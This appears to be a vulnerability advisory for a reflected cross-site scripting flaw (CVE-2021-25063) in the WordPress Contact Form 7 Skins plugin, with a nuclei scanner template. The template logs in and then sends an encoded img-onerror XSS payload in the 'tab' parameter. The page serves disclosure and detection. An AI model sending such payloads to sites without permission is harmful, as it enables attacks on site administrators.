WordPress Contact Form 7 Skins <=2.5.0 - Cross-Site Scripting

mediumseverity

6.1CVSS score

2.1%likelihood of exploitation, next 30 days

82%of all CVEs are less likely

Readycheck to confirm it

WordPress Contact Form 7 Skins plugin 2.5.0 and prior contains a reflected cross-site scripting vulnerability. It does not sanitize and escape the tab parameter before outputting it back in an admin page.

Impact

Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the website, potentially leading to unauthorized access, data theft, or defacement.

Fix

Update to the latest version of the WordPress Contact Form 7 Skins plugin (2.5.1) or apply the vendor-supplied patch.

How to confirm it

Send: POST /wp-login.php ; GET /wp-admin/admin.php?page=cf7skins&tab=%27%3E%3Cimg+src+onerror%3Dalert%28document.domain%29%3E
Positive when: contains "<img src onerror=alert(document.domain)>' type='hidden" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2021-25063 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2021-25063

info:
  name: WordPress Contact Form 7 Skins <=2.5.0 - Cross-Site Scripting
  author: dhiyaneshDk
  severity: medium
  description: WordPress Contact Form 7 Skins plugin 2.5.0 and prior contains a reflected cross-site scripting vulnerability. It does not sanitize and escape the tab parameter before outputting it back in an admin page.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the website, potentially leading to unauthorized access, data theft, or defacement.
  remediation: |
    Update to the latest version of the WordPress Contact Form 7 Skins plugin (2.5.1) or apply the vendor-supplied patch.
  reference:
    - https://wpscan.com/vulnerability/e2185887-3e53-4089-aa3f-981c944ee0bb
    - https://nvd.nist.gov/vuln/detail/CVE-2021-25063
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-25063
    cwe-id: CWE-79
    epss-score: 0.0208
    epss-percentile: 0.81675
    cpe: cpe:2.3:a:cf7skins:contact_form_7_skins:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: cf7skins
    product: contact_form_7_skins
    framework: wordpress
  tags: cve2021,cve,wpscan,wordpress,wp-plugin,xss,contactform,authenticated,cf7skins,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Origin: {{RootURL}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: wordpress_test_cookie=WP%20Cookie%20check

        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
      - |
        GET /wp-admin/admin.php?page=cf7skins&tab=%27%3E%3Cimg+src+onerror%3Dalert%28document.domain%29%3E HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<img src onerror=alert(document.domain)>' type='hidden"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

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